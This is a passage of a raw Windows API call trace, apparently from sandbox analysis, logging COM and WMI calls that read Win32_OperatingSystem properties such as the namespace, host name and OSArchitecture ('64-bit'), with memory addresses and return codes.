riid=0x7fef2f0d250*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1c7fd1c0 | out: ppv=0x1c7fd1c0*=0x1ca51720) returned 0x0 [0080.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca51720, riid=0x7fef2f0d2d0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7fced0 | out: ppvObject=0x1c7fced0*=0x0) returned 0x80004002 [0080.638] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1ca51720, pUnkOuter=0x0, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fceb8 | out: ppvObject=0x1c7fceb8*=0x1ca54ae0) returned 0x0 [0080.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca54ae0, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fcdc0 | out: ppvObject=0x1c7fcdc0*=0x1ca54ae0) returned 0x0 [0080.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca54ae0, riid=0x7fef2f0d850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7fce40 | out: ppvObject=0x1c7fce40*=0x0) returned 0x80004002 [0080.639] WbemDefPath:IUnknown:AddRef (This=0x1ca54ae0) returned 0x3 [0080.639] CoGetContextToken (in: pToken=0x1c7fca90 | out: pToken=0x1c7fca90) returned 0x0 [0080.639] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca54ae0, riid=0x7fef2f0d2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fca50 | out: ppvObject=0x1c7fca50*=0x1b7d5bd0) returned 0x0 [0080.640] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b7d5bd0, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1c7fca80 | out: pCid=0x1c7fca80*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.640] WbemDefPath:IUnknown:Release (This=0x1b7d5bd0) returned 0x3 [0080.640] CoGetContextToken (in: pToken=0x1c7fca60 | out: pToken=0x1c7fca60) returned 0x0 [0080.640] WbemDefPath:IUnknown:AddRef (This=0x1ca54ae0) returned 0x4 [0080.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca54ae0, riid=0x7fef2f0d280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fcb78 | out: ppvObject=0x1c7fcb78*=0x0) returned 0x80004002 [0080.640] WbemDefPath:IUnknown:Release (This=0x1ca54ae0) returned 0x3 [0080.641] WbemDefPath:IUnknown:Release (This=0x1ca54ae0) returned 0x2 [0080.641] WbemDefPath:IUnknown:Release (This=0x1ca51720) returned 0x0 [0080.641] WbemDefPath:IUnknown:Release (This=0x1ca54ae0) returned 0x1 [0080.641] CoGetContextToken (in: pToken=0x1c7fd790 | out: pToken=0x1c7fd790) returned 0x0 [0080.641] CoGetContextToken (in: pToken=0x1c7fd6d0 | out: pToken=0x1c7fd6d0) returned 0x0 [0080.642] WbemDefPath:IUnknown:AddRef (This=0x1ca54ae0) returned 0x2 [0080.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca54ae0, riid=0x1c7fd810*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1c7fd7f0 | out: ppvObject=0x1c7fd7f0*=0x1ca54ae0) returned 0x0 [0080.642] WbemDefPath:IUnknown:Release (This=0x1ca54ae0) returned 0x2 [0080.642] WbemDefPath:IUnknown:Release (This=0x1ca54ae0) returned 0x1 [0080.642] CoGetContextToken (in: pToken=0x1c7fd910 | out: pToken=0x1c7fd910) returned 0x0 [0080.642] CoGetContextToken (in: pToken=0x1c7fd850 | out: pToken=0x1c7fd850) returned 0x0 [0080.642] WbemDefPath:IUnknown:AddRef (This=0x1ca54ae0) returned 0x2 [0080.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca54ae0, riid=0x1c7fd990*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1c7fd970 | out: ppvObject=0x1c7fd970*=0x1ca54ae0) returned 0x0 [0080.642] WbemDefPath:IUnknown:Release (This=0x1ca54ae0) returned 0x2 [0080.643] WbemDefPath:IUnknown:AddRef (This=0x1ca54ae0) returned 0x3 [0080.643] WbemDefPath:IWbemPath:SetText (This=0x1ca54ae0, uMode=0x4, pszPath="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XDUWTFONO\"") returned 0x0 [0080.643] WbemDefPath:IUnknown:Release (This=0x1ca54ae0) returned 0x2 [0080.643] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fdbd0 | out: puCount=0x1c7fdbd0*=0x2) returned 0x0 [0080.643] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fdbd0*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fdbd0*=0x17, pszText=0x0) returned 0x0 [0080.643] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fdbd0*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fdbd0*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0080.664] CoTaskMemAlloc (cb=0x104) returned 0x1696f0 [0080.664] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1696f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0080.664] CoTaskMemFree (pv=0x1696f0) [0080.690] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fd670 | out: puCount=0x1c7fd670*=0x2) returned 0x0 [0080.690] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd670*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fd670*=0x17, pszText=0x0) returned 0x0 [0080.690] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd670*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fd670*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0080.691] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__NAMESPACE", lFlags=0, pVal=0x1c7fd660*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd65c*=0, plFlavor=0x1c7fd658*=0 | out: pVal=0x1c7fd660*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\cimv2", varVal2=0x0), pType=0x1c7fd65c*=8, plFlavor=0x1c7fd658*=64) returned 0x0 [0080.691] SysStringLen (param_1="ROOT\\cimv2") returned 0xa [0080.691] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__NAMESPACE", lFlags=0, pVal=0x1c7fd670*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd66c*=8, plFlavor=0x1c7fd668*=64 | out: pVal=0x1c7fd670*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\cimv2", varVal2=0x0), pType=0x1c7fd66c*=8, plFlavor=0x1c7fd668*=64) returned 0x0 [0080.691] SysStringLen (param_1="ROOT\\cimv2") returned 0xa [0080.692] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fd670 | out: puCount=0x1c7fd670*=0x2) returned 0x0 [0080.693] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd670*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fd670*=0x17, pszText=0x0) returned 0x0 [0080.693] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd670*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fd670*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0080.693] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__CLASS", lFlags=0, pVal=0x1c7fd660*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd65c*=0, plFlavor=0x1c7fd658*=0 | out: pVal=0x1c7fd660*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_OperatingSystem", varVal2=0x0), pType=0x1c7fd65c*=8, plFlavor=0x1c7fd658*=64) returned 0x0 [0080.693] SysStringLen (param_1="Win32_OperatingSystem") returned 0x15 [0080.693] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__CLASS", lFlags=0, pVal=0x1c7fd670*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd66c*=8, plFlavor=0x1c7fd668*=64 | out: pVal=0x1c7fd670*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_OperatingSystem", varVal2=0x0), pType=0x1c7fd66c*=8, plFlavor=0x1c7fd668*=64) returned 0x0 [0080.693] SysStringLen (param_1="Win32_OperatingSystem") returned 0x15 [0080.725] CoTaskMemAlloc (cb=0x104) returned 0x1696f0 [0080.725] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1696f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0080.725] CoTaskMemFree (pv=0x1696f0) [0080.734] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fd310 | out: puCount=0x1c7fd310*=0x2) returned 0x0 [0080.734] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd310*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fd310*=0x17, pszText=0x0) returned 0x0 [0080.734] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd310*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fd310*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0080.734] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fd310 | out: puCount=0x1c7fd310*=0x2) returned 0x0 [0080.734] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd310*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fd310*=0x17, pszText=0x0) returned 0x0 [0080.734] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd310*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fd310*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0080.735] IWbemClassObject:GetNames (in: This=0x1ca54830, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x1c7fd308*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x1c7fd300 | out: pNames=0x1c7fd300*="\x01ƀ\x08") returned 0x0 [0080.735] SafeArrayGetDim (psa=0x1b7d7790) returned 0x1 [0080.736] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__GENUS", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1c7fd2fc*=3, plFlavor=0x1c7fd2f8*=64) returned 0x0 [0080.736] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__CLASS", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_OperatingSystem", varVal2=0x0), pType=0x1c7fd2fc*=8, plFlavor=0x1c7fd2f8*=64) returned 0x0 [0080.736] SysStringLen (param_1="Win32_OperatingSystem") returned 0x15 [0080.736] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__SUPERCLASS", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=8, plFlavor=0x1c7fd2f8*=64) returned 0x0 [0080.738] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__DYNASTY", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_OperatingSystem", varVal2=0x0), pType=0x1c7fd2fc*=8, plFlavor=0x1c7fd2f8*=64) returned 0x0 [0080.738] SysStringLen (param_1="Win32_OperatingSystem") returned 0x15 [0080.738] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__RELPATH", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_OperatingSystem.CSName=\"XDUWTFONO\"", varVal2=0x0), pType=0x1c7fd2fc*=8, plFlavor=0x1c7fd2f8*=64) returned 0x0 [0080.738] SysStringLen (param_1="Win32_OperatingSystem.CSName=\"XDUWTFONO\"") returned 0x28 [0080.738] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3f, varVal2=0x0), pType=0x1c7fd2fc*=3, plFlavor=0x1c7fd2f8*=64) returned 0x0 [0080.738] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__DERIVATION", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b7d7790*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x1b7bc310, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x1c7fd2fc*=8200, plFlavor=0x1c7fd2f8*=64) returned 0x0 [0080.738] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__SERVER", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XDUWTFONO", varVal2=0x0), pType=0x1c7fd2fc*=8, plFlavor=0x1c7fd2f8*=64) returned 0x0 [0080.738] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0080.739] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__NAMESPACE", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\cimv2", varVal2=0x0), pType=0x1c7fd2fc*=8, plFlavor=0x1c7fd2f8*=64) returned 0x0 [0080.739] SysStringLen (param_1="ROOT\\cimv2") returned 0xa [0080.739] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__PATH", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XDUWTFONO\"", varVal2=0x0), pType=0x1c7fd2fc*=8, plFlavor=0x1c7fd2f8*=64) returned 0x0 [0080.739] SysStringLen (param_1="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XDUWTFONO\"") returned 0x3f [0080.739] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fd3a0 | out: puCount=0x1c7fd3a0*=0x2) returned 0x0 [0080.739] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd3a0*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fd3a0*=0x17, pszText=0x0) returned 0x0 [0080.739] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd3a0*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fd3a0*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0080.739] IWbemClassObject:Get (in: This=0x1ca54830, wszName="OSArchitecture", lFlags=0, pVal=0x1c7fd390*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd38c*=0, plFlavor=0x1c7fd388*=0 | out: pVal=0x1c7fd390*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="64-bit", varVal2=0x0), pType=0x1c7fd38c*=8, plFlavor=0x1c7fd388*=32) returned 0x0 [0080.739] SysStringLen (param_1="64-bit") returned 0x6 [0080.740] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fd280 | out: puCount=0x1c7fd280*=0x2) returned 0x0 [0080.740] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd280*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fd280*=0x17, pszText=0x0) returned 0x0 [0080.740] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd280*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fd280*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0080.740] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fd280 | out: puCount=0x1c7fd280*=0x2) returned 0x0 [0080.740] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd280*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fd280*=0x17, pszText=0x0) returned 0x0 [0080.740] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd280*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fd280*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0080.740] IWbemClassObject:GetNames (in: This=0x1ca54830, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x1c7fd278*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x1c7fd270 | out: pNames=0x1c7fd270*="\x01ƀ\x08") returned 0x0 [0080.740] SafeArrayGetDim (psa=0x1b7d7810) returned 0x1 [0080.740] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__GENUS", lFlags=0, pVal=0x1c7fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=0, plFlavor=0x1c7fd268*=0 | out: pVal=0x1c7fd270*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1c7fd26c*=3, plFlavor=0x1c7fd268*=64) returned 0x0 [0080.741] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__CLASS", lFlags=0, pVal=0x1c7fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=0, plFlavor=0x1c7fd268*=0 | out: pVal=0x1c7fd270*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_OperatingSystem", varVal2=0x0), pType=0x1c7fd26c*=8, plFlavor=0x1c7fd268*=64) returned 0x0 [0080.741] SysStringLen (param_1="Win32_OperatingSystem") returned 0x15 [0080.741] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__SUPERCLASS", lFlags=0, pVal=0x1c7fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=0, plFlavor=0x1c7fd268*=0 | out: pVal=0x1c7fd270*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=8, plFlavor=0x1c7fd268*=64) returned 0x0 [0080.741] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__DYNASTY", lFlags=0, pVal=0x1c7fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=0, plFlavor=0x1c7fd268*=0 | out: pVal=0x1c7fd270*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_OperatingSystem", varVal2=0x0), pType=0x1c7fd26c*=8, plFlavor=0x1c7fd268*=64) returned 0x0 [0080.741] SysStringLen (param_1="Win32_OperatingSystem") returned 0x15 [0080.741] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__RELPATH", lFlags=0, pVal=0x1c7fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=0, plFlavor=0x1c7fd268*=0 | out: pVal=0x1c7fd270*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_OperatingSystem.CSName=\"XDUWTFONO\"", varVal2=0x0), pType=0x1c7fd26c*=8, plFlavor=0x1c7fd268*=64) returned 0x0 [0080.741] SysStringLen (param_1="Win32_OperatingSystem.CSName=\"XDUWTFONO\"") returned 0x28 [0080.741] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x1c7fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=0, plFlavor=0x1c7fd268*=0 | out: pVal=0x1c7fd270*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3f, varVal2=0x0), pType=0x1c7fd26c*=3, plFlavor=0x1c7fd268*=64) returned 0x0 [0080.741] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__DERIVATION", lFlags=0, pVal=0x1c7fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=0, plFlavor=0x1c7fd268*=0 | out: pVal=0x1c7fd270*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b7d7810*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x1b7bc310, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x1c7fd26c*=8200, plFlavor=0x1c7fd268*=64) returned 0x0 [0080.742] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__SERVER", lFlags=0, pVal=0x1c7fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=0, plFlavor=0x1c7fd268*=0 | out: pVal=0x1c7fd270*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XDUWTFONO", varVal2=0x0), pType=0x1c7fd26c*=8, plFlavor=0x1c7fd268*=64) returned 0x0 [0080.742] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0080.742] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__NAMESPACE", lFlags=0, pVal=0x1c7fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=0, plFlavor=0x1c7fd268*=0 | out: pVal=0x1c7fd270*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\cimv2", varVal2=0x0), pType=0x1c7fd26c*=8, plFlavor=0x1c7fd268*=64) returned 0x0 [0080.742] SysStringLen (param_1="ROOT\\cimv2") returned 0xa [0080.742] IWbemClassObject:Get (in: This=0x1ca54830, wszName="__PATH", lFlags=0, pVal=0x1c7fd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd26c*=0, plFlavor=0x1c7fd268*=0 | out: pVal=0x1c7fd270*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XDUWTFONO\"", varVal2=0x0), pType=0x1c7fd26c*=8, plFlavor=0x1c7fd268*=64) returned 0x0 [0080.742] SysStringLen (param_1="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XDUWTFONO\"") returned 0x3f [0080.742] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fd310 | out: puCount=0x1c7fd310*=0x2) returned 0x0 [0080.742] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd310*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fd310*=0x17, pszText=0x0) returned 0x0 [0080.742] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fd310*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fd310*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0080.742] IWbemClassObject:Get (in: This=0x1ca54830, wszName="OSArchitecture", lFlags=0, pVal=0x1c7fd300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1c7fd2fc*=0, plFlavor=0x1c7fd2f8*=0 | out: pVal=0x1c7fd300*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="64-bit", varVal2=0x0), pType=0x1c7fd2fc*=8, plFlavor=0x1c7fd2f8*=32) returned 0x0 [0080.742] SysStringLen (param_1="64-bit") returned 0x6 [0080.743] IWbemClassObject:Get (in: This=0x1ca54830, wszName="OSArchitecture", lFlags=0, pVal=0x1c7fd4c0*(varType=0x0, wReserved1=0x0, 